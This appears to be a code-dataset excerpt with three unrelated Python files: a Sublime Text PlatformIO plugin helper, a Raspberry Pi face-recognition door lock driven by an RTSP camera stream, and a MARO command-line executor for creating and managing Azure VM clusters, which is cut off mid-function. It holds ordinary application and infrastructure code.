source
stringlengths
3
86
python
stringlengths
75
1.04M
pio_bridge.py
#!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import print_function from __future__ import division from __future__ import unicode_literals import os from glob import glob from ..libraries import paths from ..libraries.file import File from ..libraries.tools import get_setting from .command import Command class PioBridge(Command): def __init__(self): super(PioBridge, self).__init__() self.cwd = self.get_working_project_path() def save_boards_list_async(self): """Save boards list async Stores the board list file in a new thread to avoid block the Sublime Text UI """ from threading import Thread from ..libraries.thread_progress import ThreadProgress from ..libraries.I18n import I18n from ..beginning.pio_install import save_board_list txt = I18n().translate('processing') thread = Thread(target=save_board_list) thread.start() ThreadProgress(thread, txt, '') def get_boards_list(self): """Board List Get the json file with the list of boards and return it. The location of the json file is defined in paths.py in the function getBoardsFileDataPath Returns: json -- list of boards """ board_file_path = paths.getBoardsFileDataPath() file = File(board_file_path) boards_list = file.read_json(boards) return boards_list def remove_ini_environment(self, board_id): """Remove Environment Removes the environments from the platformio.ini file. It happens each time a environment/board is removed selecting it from the list of boards (Select Board). The behavior of this option is; if the board isn't in the configs, it will be added if not, removed. Arguments: board_id {[type]} -- [description] """ if(self.is_initialized): from ..libraries.readconfig import ReadConfig file_path = self.get_ini_path() config = ReadConfig() config.read(file_path) environment = 'env:' + board_id if(config.has_section(environment)): config.remove_section(environment) with open(file_path, 'w') as configfile: config.write(configfile) def get_working_project_path(self): """Working Path The working path is where platformio.ini is located it's used each time when deviot is compiling the code Returns: str -- path/working_path """ pio_structure = self.get_structure_option() if(pio_structure): project_path = self.get_project_path() if(not project_path): return None ini_path = self.get_ini_path() if(ini_path): project_path = self.get_parent_path() return project_path if(self.is_initialized()): ini_path = self.get_ini_path() working_path = os.path.dirname(ini_path) return working_path return self.get_temp_project_path() def get_structure_option(self): """Pio Structure Option Check if the platformio structure option is mark as true or not Returns: bool -- true to keep working with platformio structure """ return get_setting('pio_structure', False)
main.py
import os import time import sys import cv2 as cv import numpy as np import face_recognition import multiprocessing import gpiozero def updateframe(rtsp_url,lock): print('connecting to video ...') # set rtsp protocol path cap = cv.VideoCapture(rtsp_url) print('connected') while cap.isOpened(): # print('Reading frame ...') ret, frame = cap.read() # if frame is read correctly ret is True if not ret: print('can\'t receive frame (stream end?). exiting ...') continue lock.acquire() cv.imwrite('./temp.jpg', frame) lock.release() print('connection error. exiting ...') cap.release() def main(lock,source_face_encodings): gpio21 = gpiozero.LED(21) while True: lock.acquire() frame = face_recognition.load_image_file('./temp.jpg') lock.release() face_encodings = face_recognition.face_encodings(frame) # print('Face encoded') for face_encoding in face_encodings: print('face comparing ...') compare_results = face_recognition.compare_faces(source_face_encodings, face_encoding) if np.any(compare_results) == True: print('face recognition success') gpio21.on() print('lock opened') time.sleep(2) gpio21.off() print('lock closed') break if __name__ == "__main__": source_path = sys.argv[1] source_face_encodings = [] # cache source face encoding to memory for file_name in os.listdir(source_path): file_path = source_path + file_name source_face_encodings += face_recognition.face_encodings(face_recognition.load_image_file(file_path)) print('source face encoded') lock = multiprocessing.Lock() p = multiprocessing.Process(target=updateframe, args=(sys.argv[2],lock,)) p.start() main(lock, source_face_encodings)
grass_azure_executor.py
# Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import collections import json import os import secrets import shutil import string import threading import time from copy import deepcopy from multiprocessing.pool import ThreadPool import yaml from maro.cli.grass.executors.grass_executor import GrassExecutor from maro.cli.grass.utils.copy import copy_and_rename, copy_files_from_node, copy_files_to_node from maro.cli.grass.utils.hash import get_checksum from maro.cli.utils.details import ( load_cluster_details, load_job_details, load_schedule_details, save_cluster_details, save_job_details, save_schedule_details ) from maro.cli.utils.executors.azure_executor import AzureExecutor from maro.cli.utils.naming import ( generate_cluster_id, generate_component_id, generate_job_id, generate_node_name, get_valid_file_name ) from maro.cli.utils.params import GlobalParams, GlobalPaths from maro.cli.utils.subprocess import SubProcess from maro.cli.utils.validation import validate_and_fill_dict from maro.utils.exception.cli_exception import BadRequestError, CommandExecutionError, FileOperationError from maro.utils.logger import CliLogger logger = CliLogger(name=__name__) class GrassAzureExecutor: def __init__(self, cluster_name: str): self.cluster_name = cluster_name self.cluster_details = load_cluster_details(cluster_name=cluster_name) self.grass_executor = GrassExecutor(cluster_details=self.cluster_details) # maro grass create @staticmethod def build_cluster_details(create_deployment: dict): # Standardize create deployment GrassAzureExecutor._standardize_create_deployment(create_deployment=create_deployment) # Get cluster name and save details cluster_name = create_deployment["name"] if os.path.isdir(f"{GlobalPaths.ABS_MARO_CLUSTERS}/{cluster_name}"): raise BadRequestError(f"Cluster '{cluster_name}' is exist.") os.makedirs(f"{GlobalPaths.ABS_MARO_CLUSTERS}/{cluster_name}") save_cluster_details( cluster_name=cluster_name, cluster_details=create_deployment ) @staticmethod def _standardize_create_deployment(create_deployment: dict): samba_password = "".join(secrets.choice(string.ascii_letters + string.digits) for _ in range(20)) optional_key_to_value = { "root['master']['redis']": {"port": GlobalParams.DEFAULT_REDIS_PORT}, "root['master']['redis']['port']": GlobalParams.DEFAULT_REDIS_PORT, "root['master']['fluentd']": {"port": GlobalParams.DEFAULT_FLUENTD_PORT}, "root['master']['fluentd']['port']": GlobalParams.DEFAULT_FLUENTD_PORT, "root['master']['samba']": {"password": samba_password}, "root['master']['samba']['password']": samba_password, "root['connection']": {"ssh": {"port": GlobalParams.DEFAULT_SSH_PORT}}, "root['connection']['ssh']": {"port": GlobalParams.DEFAULT_SSH_PORT}, "root['connection']['ssh']['port']": GlobalParams.DEFAULT_SSH_PORT } with open(f"{GlobalPaths.ABS_MARO_GRASS_LIB}/deployments/internal/grass_azure_create.yml") as fr: create_deployment_template = yaml.safe_load(fr) validate_and_fill_dict( template_dict=create_deployment_template, actual_dict=create_deployment, optional_key_to_value=optional_key_to_value ) def create(self): logger.info("Creating cluster") # Start creating try: self._set_cluster_id() self._create_resource_group() self._create_vnet() # Simultaneously capture image and init master build_node_image_thread = threading.Thread(target=self._build_node_image, args=()) build_node_image_thread.start() create_and_init_master_thread = threading.Thread(target=self._create_and_init_master, args=()) create_and_init_master_thread.start() build_node_image_thread.join() create_and_init_master_thread.join() except Exception as e: # If failed, remove details folder, then raise shutil.rmtree(f"{GlobalPaths.ABS_MARO_CLUSTERS}/{self.cluster_name}") raise e logger.info_green(f"Cluster {self.cluster_name} is created") def _set_cluster_id(self): # Set cluster id self.cluster_details["id"] = generate_cluster_id() # Save details save_cluster_details( cluster_name=self.cluster_name, cluster_details=self.cluster_details ) def _create_resource_group(self): # Load and reload details subscription = self.cluster_details["cloud"]["subscription"] resource_group = self.cluster_details["cloud"]["resource_group"] location = self.cluster_details["cloud"]["location"] # Check if Azure CLI is installed version_details = AzureExecutor.get_version() logger.info_green(f"Your Azure CLI version: {version_details['azure-cli']}") # Set subscription id AzureExecutor.set_subscription(subscription=subscription) logger.info_green(f"Set subscription to: {subscription}") # Check and create resource group resource_group_details = AzureExecutor.get_resource_group(resource_group=resource_group) if resource_group_details is not None: logger.warning_yellow(f"Azure resource group {resource_group} already exists") else: AzureExecutor.create_resource_group( resource_group=resource_group, location=location ) logger.info_green(f"Resource group: {resource_group} is created") def _create_vnet(self): logger.info("Creating vnet") # Load details resource_group = self.cluster_details["cloud"]["resource_group"] # Create ARM parameters and start deployment abs_template_file_path = f"{GlobalPaths.ABS_MARO_GRASS_LIB}/azure/create_vnet/template.json" abs_parameters_file_path = ( f"{GlobalPaths.ABS_MARO_CLUSTERS}/{self.cluster_name}/azure/create_vnet/parameters.json" ) ArmTemplateParameterBuilder.create_vnet( cluster_details=self.cluster_details, export_path=abs_parameters_file_path ) AzureExecutor.start_deployment( resource_group=resource_group, deployment_name="vnet", template_file_path=abs_template_file_path, parameters_file_path=abs_parameters_file_path ) logger.info_green("Vnet is created") def _build_node_image(self): logger.info("Building MARO Node image") # Load details resource_name = "build-node-image" cluster_id = self.cluster_details["id"] resource_group = self.cluster_details["cloud"]["resource_group"] admin_username = self.cluster_details["user"]["admin_username"] ssh_port = self.cluster_details["connection"]["ssh"]["port"] image_name = f"{cluster_id}-node-image" vm_name = f"{cluster_id}-{resource_name}-vm" # Create ARM parameters and start deployment template_file_path = f"{GlobalPaths.ABS_MARO_GRASS_LIB}/azure/create_build_node_image_vm/template.json" parameters_file_path = ( f"{GlobalPaths.ABS_MARO_CLUSTERS}/{self.cluster_name}/azure/create_build_node_image_vm/parameters.json" ) ArmTemplateParameterBuilder.create_build_node_image_vm( cluster_details=self.cluster_details, node_size="Standard_D4_v3", export_path=parameters_file_path ) AzureExecutor.start_deployment( resource_group=resource_group, deployment_name=resource_name, template_file_path=template_file_path, parameters_file_path=parameters_file_path ) # Gracefully wait time.sleep(10) # Get IP addresses ip_addresses = AzureExecutor.list_ip_addresses( resource_group=resource_group, vm_name=vm_name ) public_ip_address = ip_addresses[0]["virtualMachine"]["network"]["publicIpAddresses"][0]["ipAddress"] # Make sure capture-node-image-vm is able to connect self.grass_executor.retry_connection_and_set_ssh_port(node_ip_address=public_ip_address) # Run init image script self._sync_mkdir(path=GlobalPaths.MARO_LOCAL_TMP, node_ip_address=public_ip_address) copy_files_to_node( local_path=f"{GlobalPaths.MARO_GRASS_LIB}/scripts/init_build_node_image_vm.py", remote_dir="~/", admin_username=admin_username, node_ip_address=public_ip_address, ssh_port=ssh_port ) self.grass_executor.remote_init_build_node_image_vm(vm_ip_address=public_ip_address) # Extract image AzureExecutor.deallocate_vm(resource_group=resource_group, vm_name=vm_name) AzureExecutor.generalize_vm(resource_group=resource_group, vm_name=vm_name) AzureExecutor.create_image_from_vm(resource_group=resource_group, image_name=image_name, vm_name=vm_name) # Delete resources self._delete_resources(resource_name=resource_name) logger.info_green("MARO Node Image is built") def _create_and_init_master(self): logger.info("Creating MARO Master") self._create_master() self._init_master() logger.info_green("MARO Master is created") def _create_master(self): logger.info("Creating Master VM") # Load details master_details = self.cluster_details["master"] cluster_id = self.cluster_details["id"] resource_group = self.cluster_details["cloud"]["resource_group"] admin_username = self.cluster_details["user"]["admin_username"] node_size = self.cluster_details["master"]["node_size"] # Create ARM parameters and start deployment template_file_path = f"{GlobalPaths.ABS_MARO_GRASS_LIB}/azure/create_master/template.json" parameters_file_path = ( f"{GlobalPaths.ABS_MARO_CLUSTERS}/{self.cluster_name}/azure/create_master/parameters.json" ) ArmTemplateParameterBuilder.create_master( cluster_details=self.cluster_details, node_size=node_size, export_path=parameters_file_path ) AzureExecutor.start_deployment( resource_group=resource_group, deployment_name="master", template_file_path=template_file_path, parameters_file_path=parameters_file_path ) # Get master IP addresses ip_addresses = AzureExecutor.list_ip_addresses( resource_group=resource_group, vm_name=f"{cluster_id}-master-vm" ) public_ip_address = ip_addresses[0]["virtualMachine"]["network"]["publicIpAddresses"][0]["ipAddress"] private_ip_address = ip_addresses[0]["virtualMachine"]["network"]["privateIpAddresses"][0] hostname = f"{cluster_id}-master-vm" master_details["public_ip_address"] = public_ip_address master_details["private_ip_address"] = private_ip_address master_details["hostname"] = hostname master_details["resource_name"] = f"{cluster_id}-master-vm" logger.info_green(f"You can login to your master node with: ssh {admin_username}@{public_ip_address}") # Save details save_cluster_details( cluster_name=self.cluster_name, cluster_details=self.cluster_details, sync=False ) logger.info_green("Master VM is created") def _init_master(self): logger.info("Initializing Master VM") # Load details master_details = self.cluster_details["master"] admin_username = self.cluster_details["user"]["admin_username"] master_public_ip_address = self.cluster_details["master"]["public_ip_address"] ssh_port = self.cluster_details["connection"]["ssh"]["port"] # Make sure master is able to connect self.grass_executor.retry_connection_and_set_ssh_port(node_ip_address=master_public_ip_address) # Create folders self._sync_mkdir(path=GlobalPaths.MARO_GRASS_LIB, node_ip_address=master_public_ip_address) self._sync_mkdir( path=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}", node_ip_address=master_public_ip_address ) self._sync_mkdir( path=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/data", node_ip_address=master_public_ip_address ) self._sync_mkdir( path=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/images", node_ip_address=master_public_ip_address ) self._sync_mkdir( path=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/jobs", node_ip_address=master_public_ip_address ) self._sync_mkdir( path=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/schedules", node_ip_address=master_public_ip_address ) self._sync_mkdir(path=GlobalPaths.MARO_LOCAL_TMP, node_ip_address=master_public_ip_address) # Copy required files copy_files_to_node( local_path=GlobalPaths.MARO_GRASS_LIB, remote_dir=GlobalPaths.MARO_LIB, admin_username=admin_username, node_ip_address=master_public_ip_address, ssh_port=ssh_port ) copy_files_to_node( local_path=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}", remote_dir=GlobalPaths.MARO_CLUSTERS, admin_username=admin_username, node_ip_address=master_public_ip_address, ssh_port=ssh_port ) # Get public key public_key = self.grass_executor.remote_get_public_key(node_ip_address=master_public_ip_address) # Remote init master self.grass_executor.remote_init_master() # Load master agent service self.grass_executor.remote_load_master_agent_service() # Save details master_details["public_key"] = public_key master_details["image_files"] = {} save_cluster_details( cluster_name=self.cluster_name, cluster_details=self.cluster_details ) self.grass_executor.remote_set_master_details(master_details=master_details) logger.info_green("Master VM is initialized") # maro grass delete def delete(self): # Load details cluster_id = self.cluster_details["id"] resource_group = self.cluster_details["cloud"]["resource_group"] logger.info(f"Deleting cluster {self.cluster_name}") # Get resource list resource_list = AzureExecutor.list_resources(resource_group=resource_group) # Filter resources deletable_ids = [] for resource_info in resource_list: if resource_info["name"].startswith(cluster_id): deletable_ids.append(resource_info["id"]) # Delete resources if len(deletable_ids) > 0: AzureExecutor.delete_resources(resources=deletable_ids) # Delete cluster folder shutil.rmtree(f"{GlobalPaths.ABS_MARO_CLUSTERS}/{self.cluster_name}") logger.info_green(f"Cluster {self.cluster_name} is deleted") # maro grass node def scale_node(self, replicas: int, node_size: str): # Load details nodes_details = self.grass_executor.remote_get_nodes_details() # Init node_size_to_count node_size_to_count = collections.defaultdict(lambda: 0) for node_name, node_details in nodes_details.items(): node_size_to_count[node_details["node_size"]] += 1 # Get node_size_to_spec node_size_to_spec = self._get_node_size_to_spec() if node_size not in node_size_to_spec: raise BadRequestError(f"Invalid node_size '{node_size}'.") # Scale nodes if node_size_to_count[node_size] > replicas: self._delete_nodes( num=node_size_to_count[node_size] - replicas, node_size=node_size ) elif node_size_to_count[node_size] < replicas: self._create_nodes( num=replicas - node_size_to_count[node_size], node_size=node_size, node_size_to_spec=node_size_to_spec ) else: logger.warning_yellow("Replica is match, no create or delete") def _create_nodes(self, num: int, node_size: str, node_size_to_spec: dict) -> None: logger.info(f"Scaling up {num}") # Parallel create with ThreadPool(GlobalParams.PARALLELS) as pool: pool.starmap( self._create_node, [[node_size, node_size_to_spec]] * num ) def _create_node(self, node_size: str, node_size_to_spec: dict): # Generate node name node_name = generate_node_name() logger.info(message=f"Creating node {node_name}") # Create node self._create_vm( node_name=node_name, node_size=node_size, node_size_to_spec=node_size_to_spec ) # Init node self._init_node( node_name=node_name ) logger.info_green(message=f"Node {node_name} is created") def _delete_nodes(self, num: int, node_size: str) -> None: # Load details nodes_details = self.grass_executor.remote_get_nodes_details() # Get deletable_nodes and check, TODO: consider to add -f deletable_nodes = [] for node_name, node_details in nodes_details.items(): if node_details["node_size"] == node_size and len(node_details["containers"]) == 0: deletable_nodes.append(node_name) if len(deletable_nodes) >= num: logger.info(f"Scaling down {num}") # Parallel delete params = [[deletable_node] for deletable_node in deletable_nodes[:num]] with ThreadPool(GlobalParams.PARALLELS) as pool: pool.starmap( self._delete_node, params ) else: logger.warning_yellow( "Unable to scale down." f" Only {len(deletable_nodes)} are deletable, but need to delete {num} to meet the replica" ) def _create_vm(self, node_name: str, node_size: str, node_size_to_spec: dict): logger.info(message=f"Creating VM {node_name}") # Load details location = self.cluster_details["cloud"]["location"] cluster_id = self.cluster_details["id"] resource_group = self.cluster_details["cloud"]["resource_group"] image_name = f"{cluster_id}-node-image" image_resource_id = AzureExecutor.get_image_resource_id(resource_group=resource_group, image_name=image_name) # Create ARM parameters and start deployment template_file_path = f"{GlobalPaths.ABS_MARO_GRASS_LIB}/azure/create_node/template.json" parameters_file_path = ( f"{GlobalPaths.ABS_MARO_CLUSTERS}/{self.cluster_name}/azure/create_{node_name}/parameters.json" ) ArmTemplateParameterBuilder.create_node( node_name=node_name, cluster_details=self.cluster_details, node_size=node_size, image_resource_id=image_resource_id, export_path=parameters_file_path ) AzureExecutor.start_deployment( resource_group=resource_group, deployment_name=node_name, template_file_path=template_file_path, parameters_file_path=parameters_file_path ) # Get node IP addresses ip_addresses = AzureExecutor.list_ip_addresses( resource_group=resource_group, vm_name=f"{cluster_id}-{node_name}-vm" ) # Get sku and check gpu nums gpu_nums = 0 node_size_sku = AzureExecutor.get_sku( vm_size=node_size, location=location) if node_size_sku is not None: for capability in node_size_sku["capabilities"]: if capability["name"] == "GPUs": gpu_nums = int(capability["value"]) break # Save details node_details = { "name": node_name, "id": node_name, "public_ip_address": ip_addresses[0]["virtualMachine"]["network"]["publicIpAddresses"][0]["ipAddress"], "private_ip_address": ip_addresses[0]["virtualMachine"]["network"]["privateIpAddresses"][0], "node_size": node_size, "resource_name": f"{cluster_id}-{node_name}-vm", "hostname": f"{cluster_id}-{node_name}-vm", "resources": { "cpu": node_size_to_spec[node_size]["numberOfCores"], "memory": node_size_to_spec[node_size]["memoryInMb"], "gpu": gpu_nums }, "containers": {} } self.grass_executor.remote_set_node_details( node_name=node_name, node_details=node_details, ) logger.info_green(f"VM {node_name} is created") def _delete_node(self, node_name: str): logger.info(f"Deleting node {node_name}") # Load details resource_group = self.cluster_details["cloud"]["resource_group"] # Delete resources self._delete_resources(resource_name=node_name) # Delete azure deployment AzureExecutor.delete_deployment( resource_group=resource_group, deployment_name=node_name ) # Delete parameters_file shutil.rmtree(f"{GlobalPaths.ABS_MARO_CLUSTERS}/{self.cluster_name}/azure/create_{node_name}") # Update node status self.grass_executor.remote_update_node_status( node_name=node_name, action="delete" ) logger.info_green(f"Node {node_name} is deleted") def _init_node(self, node_name: str): logger.info(f"Initiating node {node_name}") # Load details admin_username = self.cluster_details["user"]["admin_username"] node_details = self.grass_executor.remote_get_node_details(node_name=node_name) node_public_ip_address = node_details["public_ip_address"] ssh_port = self.cluster_details["connection"]["ssh"]["port"] # Make sure the node is able to connect self.grass_executor.retry_connection_and_set_ssh_port(node_ip_address=node_public_ip_address) # Copy required files self._sync_mkdir(path=f"{GlobalPaths.MARO_LOCAL_TMP}", node_ip_address=node_public_ip_address) copy_files_to_node( local_path=f"{GlobalPaths.MARO_GRASS_LIB}/scripts/init_node.py", remote_dir="~/", admin_username=admin_username, node_ip_address=node_public_ip_address, ssh_port=ssh_port ) copy_files_to_node( local_path=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/details.yml", remote_dir="~/", admin_username=admin_username, node_ip_address=node_public_ip_address, ssh_port=ssh_port ) # Remote init node self.grass_executor.remote_init_node( node_name=node_name, node_ip_address=node_public_ip_address ) # Get public key public_key = self.grass_executor.remote_get_public_key(node_ip_address=node_public_ip_address) # Save details node_details["public_key"] = public_key self.grass_executor.remote_set_node_details( node_name=node_name, node_details=node_details ) # Update node status self.grass_executor.remote_update_node_status( node_name=node_name, action="create" ) # Load images self.grass_executor.remote_load_images( node_name=node_name, parallels=GlobalParams.PARALLELS, node_ip_address=node_public_ip_address ) # Load node agent service self.grass_executor.remote_load_node_agent_service( node_name=node_name, node_ip_address=node_public_ip_address ) logger.info_green(f"Node {node_name} is initialized") def start_node(self, replicas: int, node_size: str): # Get nodes details nodes_details = self.grass_executor.remote_get_nodes_details() # Get startable nodes startable_nodes = [] for node_name, node_details in nodes_details.items(): if node_details["node_size"] == node_size and node_details["state"] == "Stopped": startable_nodes.append(node_name) # Check replicas if len(startable_nodes) < replicas: raise BadRequestError( f"No enough '{node_size}' nodes can be started (only {len(startable_nodes)} is startable)." ) # Parallel start params = [[startable_node] for startable_node in startable_nodes[:replicas]] with ThreadPool(GlobalParams.PARALLELS) as pool: pool.starmap( self._start_node, params ) def _start_node(self, node_name: str): logger.info(f"Starting node {node_name}") # Load details cluster_id = self.cluster_details["id"] resource_group = self.cluster_details["cloud"]["resource_group"] node_details = self.grass_executor.remote_get_node_details(node_name=node_name) node_public_ip_address = node_details["public_ip_address"] # Start node AzureExecutor.start_vm( resource_group=resource_group, vm_name=f"{cluster_id}-{node_name}-vm" ) # Update node status self.grass_executor.remote_update_node_status( node_name=node_name, action="start" ) # Make sure the node is able to connect self.grass_executor.retry_connection_and_set_ssh_port( node_ip_address=node_public_ip_address ) # Load images self.grass_executor.remote_load_images( node_name=node_name, parallels=GlobalParams.PARALLELS, node_ip_address=node_public_ip_address ) # Load node agent service self.grass_executor.remote_load_node_agent_service( node_name=node_name, node_ip_address=node_public_ip_address ) logger.info_green(f"Node {node_name} is started") def stop_node(self, replicas: int, node_size: str): # Get nodes details nodes_details = self.grass_executor.remote_get_nodes_details() # Get stoppable nodes stoppable_nodes = [] for node_name, node_details in nodes_details.items(): if ( node_details["node_size"] == node_size and node_details["state"] == "Running" and self._count_running_containers(node_details) == 0 ): stoppable_nodes.append(node_name) # Check replicas if len(stoppable_nodes) < replicas: raise BadRequestError( f"No more '{node_size}' nodes can be stopped, only {len(stoppable_nodes)} are stoppable." ) # Parallel stop params = [[stoppable_node] for stoppable_node in stoppable_nodes[:replicas]] with ThreadPool(GlobalParams.PARALLELS) as pool: pool.starmap( self._stop_node, params ) def _stop_node(self, node_name: str): logger.info(f"Stopping node {node_name}") # Load details cluster_id = self.cluster_details["id"] resource_group = self.cluster_details["cloud"]["resource_group"] # Stop node AzureExecutor.stop_vm( resource_group=resource_group, vm_name=f"{cluster_id}-{node_name}-vm" ) # Update node status self.grass_executor.remote_update_node_status( node_name=node_name, action="stop" ) logger.info_green(f"Node {node_name} is stopped") def _get_node_size_to_spec(self) -> dict: # Load details location = self.cluster_details["cloud"]["location"] # List available sizes for VMs specs = AzureExecutor.list_vm_sizes(location=location) # Get node_size_to_spec node_size_to_spec = {} for spec in specs: node_size_to_spec[spec["name"]] = spec return node_size_to_spec def list_node(self): # Get nodes details nodes_details = self.grass_executor.remote_get_nodes_details() # Print details logger.info( json.dumps( nodes_details, indent=4, sort_keys=True ) ) @staticmethod def _count_running_containers(node_details: dict): # Extract details containers_details = node_details["containers"] # Do counting count = 0 for container_details in containers_details: if container_details["Status"] == "running": count += 1 return count # maro grass image def push_image( self, image_name: str, image_path: str, remote_context_path: str, remote_image_name: str ): # Load details admin_username = self.cluster_details["user"]["admin_username"] master_public_ip_address = self.cluster_details["master"]["public_ip_address"] ssh_port = self.cluster_details["connection"]["ssh"]["port"] # Get images dir images_dir = f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/images" # Push image if image_name: new_file_name = get_valid_file_name(image_name) abs_image_path = f"{GlobalPaths.ABS_MARO_CLUSTERS}/{self.cluster_name}/images/{new_file_name}" self._save_image( image_name=image_name, export_path=abs_image_path ) if self._check_checksum_validity( local_file_path=abs_image_path, remote_file_path=os.path.join(images_dir, image_name) ): logger.info_green(f"The image file '{new_file_name}' already exists") return copy_files_to_node( local_path=abs_image_path, remote_dir=images_dir, admin_username=admin_username, node_ip_address=master_public_ip_address, ssh_port=ssh_port ) self.grass_executor.remote_update_image_files_details() self._batch_load_images() logger.info_green(f"Image {image_name} is loaded") elif image_path: file_name = os.path.basename(image_path) new_file_name = get_valid_file_name(file_name) abs_image_path = f"{GlobalPaths.ABS_MARO_CLUSTERS}/{self.cluster_name}/images/{new_file_name}" copy_and_rename( source_path=abs_image_path, target_dir=image_path ) if self._check_checksum_validity( local_file_path=abs_image_path, remote_file_path=os.path.join(images_dir, new_file_name) ): logger.info_green(f"The image file '{new_file_name}' already exists") return copy_files_to_node( local_path=abs_image_path, remote_dir=images_dir, admin_username=admin_username, node_ip_address=master_public_ip_address, ssh_port=ssh_port ) self.grass_executor.remote_update_image_files_details() self._batch_load_images() elif remote_context_path and remote_image_name: self.grass_executor.remote_build_image( remote_context_path=remote_context_path, remote_image_name=remote_image_name ) self._batch_load_images() else: raise BadRequestError("Invalid arguments.") @staticmethod def _save_image(image_name: str, export_path: str): # Save image to specific folder command = f"docker save '{image_name}' --output '{export_path}'" _ = SubProcess.run(command) def _batch_load_images(self): # Load details nodes_details = self.grass_executor.remote_get_nodes_details() # build params params = [] for node_name, node_details in nodes_details.items(): if node_details["state"] == "Running": params.append([ node_name, GlobalParams.PARALLELS, node_details["public_ip_address"] ]) # Parallel load image with ThreadPool(GlobalParams.PARALLELS) as pool: pool.starmap( self._load_image, params ) def _load_image(self, node_name: str, parallels: int, node_ip_address: str): self.grass_executor.remote_load_images( node_name=node_name, parallels=parallels, node_ip_address=node_ip_address ) def _check_checksum_validity(self, local_file_path: str, remote_file_path: str) -> bool: local_checksum = get_checksum(file_path=local_file_path) remote_checksum = self.grass_executor.remote_get_checksum( file_path=remote_file_path ) return local_checksum == remote_checksum # maro grass data def push_data(self, local_path: str, remote_path: str): # Load details admin_username = self.cluster_details["user"]["admin_username"] master_public_ip_address = self.cluster_details["master"]["public_ip_address"] ssh_port = self.cluster_details["connection"]["ssh"]["port"] if not remote_path.startswith("/"): raise FileOperationError(f"Invalid remote path: {remote_path}\nShould be started with '/'.") copy_files_to_node( local_path=local_path, remote_dir=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/data{remote_path}", admin_username=admin_username, node_ip_address=master_public_ip_address, ssh_port=ssh_port ) def pull_data(self, local_path: str, remote_path: str): # Load details admin_username = self.cluster_details["user"]["admin_username"] master_public_ip_address = self.cluster_details["master"]["public_ip_address"] ssh_port = self.cluster_details["connection"]["ssh"]["port"] if not remote_path.startswith("/"): raise FileOperationError(f"Invalid remote path: {remote_path}\nShould be started with '/'.") copy_files_from_node( local_dir=local_path, remote_path=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/data{remote_path}", admin_username=admin_username, node_ip_address=master_public_ip_address, ssh_port=ssh_port ) # maro grass job def start_job(self, deployment_path: str): # Load start_job_deployment with open(deployment_path, "r") as fr: start_job_deployment = yaml.safe_load(fr) # Standardize start_job_deployment self._standardize_start_job_deployment(start_job_deployment=start_job_deployment) # Start job self._start_job( job_details=start_job_deployment ) def _start_job(self, job_details: dict): logger.info(f"Start sending job ticket {job_details['name']}") # Load details admin_username = self.cluster_details["user"]["admin_username"] master_public_ip_address = self.cluster_details["master"]["public_ip_address"] ssh_port = self.cluster_details["connection"]["ssh"]["port"] job_name = job_details["name"] # Sync mkdir self._sync_mkdir( path=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/jobs/{job_name}", node_ip_address=master_public_ip_address ) # Save job deployment save_job_details( cluster_name=self.cluster_name, job_name=job_name, job_details=job_details ) # Set job id self._set_job_id( job_name=job_name ) # Sync job details to master copy_files_to_node( local_path=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/jobs/{job_name}/details.yml", remote_dir=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/jobs/{job_name}", admin_username=admin_username, node_ip_address=master_public_ip_address, ssh_port=ssh_port ) # Remote start job self.grass_executor.remote_create_job_details(job_name=job_name) self.grass_executor.remote_create_pending_job_ticket(job_name=job_name) logger.info_green(f"Job ticket {job_details['name']} is sent") def stop_job(self, job_name: str): # Remote stop job self.grass_executor.remote_create_killed_job_ticket(job_name=job_name) self.grass_executor.remote_delete_pending_job_ticket(job_name=job_name) def list_job(self): # Get jobs details jobs_details = self.grass_executor.remote_get_jobs_details() # Print details logger.info( json.dumps( jobs_details, indent=4, sort_keys=True ) ) def get_job_logs(self, job_name: str, export_dir: str = "./"): # Load details job_details = load_job_details( cluster_name=self.cluster_name, job_name=job_name ) admin_username = self.cluster_details["user"]["admin_username"] master_public_ip_address = self.cluster_details["master"]["public_ip_address"] ssh_port = self.cluster_details["connection"]["ssh"]["port"] job_id = job_details["id"] # Copy logs from master try: copy_files_from_node( local_dir=export_dir, remote_path=f"~/.maro/logs/{job_id}", admin_username=admin_username, node_ip_address=master_public_ip_address, ssh_port=ssh_port ) except CommandExecutionError: logger.error_red("No logs have been created at this time.") @staticmethod def _standardize_start_job_deployment(start_job_deployment: dict): # Validate grass_azure_start_job optional_key_to_value = { "root['tags']": {} } with open(f"{GlobalPaths.ABS_MARO_GRASS_LIB}/deployments/internal/grass_azure_start_job.yml") as fr: start_job_template = yaml.safe_load(fr) validate_and_fill_dict( template_dict=start_job_template, actual_dict=start_job_deployment, optional_key_to_value=optional_key_to_value ) # Validate component with open(f"{GlobalPaths.ABS_MARO_GRASS_LIB}/deployments/internal/component.yml", "r") as fr: start_job_component_template = yaml.safe_load(fr) components_details = start_job_deployment["components"] for _, component_details in components_details.items(): validate_and_fill_dict( template_dict=start_job_component_template, actual_dict=component_details, optional_key_to_value={} ) def _set_job_id(self, job_name: str): # Load details job_details = load_job_details(cluster_name=self.cluster_name, job_name=job_name) # Set cluster id job_details["id"] = generate_job_id() # Set component id for component, component_details in job_details["components"].items(): component_details["id"] = generate_component_id() # Save details save_job_details( cluster_name=self.cluster_name, job_name=job_name, job_details=job_details ) # maro grass schedule def start_schedule(self, deployment_path: str): # Load start_schedule_deployment with open(deployment_path, "r") as fr: start_schedule_deployment = yaml.safe_load(fr) # Standardize start_schedule_deployment self._standardize_start_schedule_deployment(start_schedule_deployment=start_schedule_deployment) schedule_name = start_schedule_deployment["name"] # Load details master_public_ip_address = self.cluster_details["master"]["public_ip_address"] # Sync mkdir self._sync_mkdir( path=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/schedules/{schedule_name}", node_ip_address=master_public_ip_address ) # Save schedule deployment 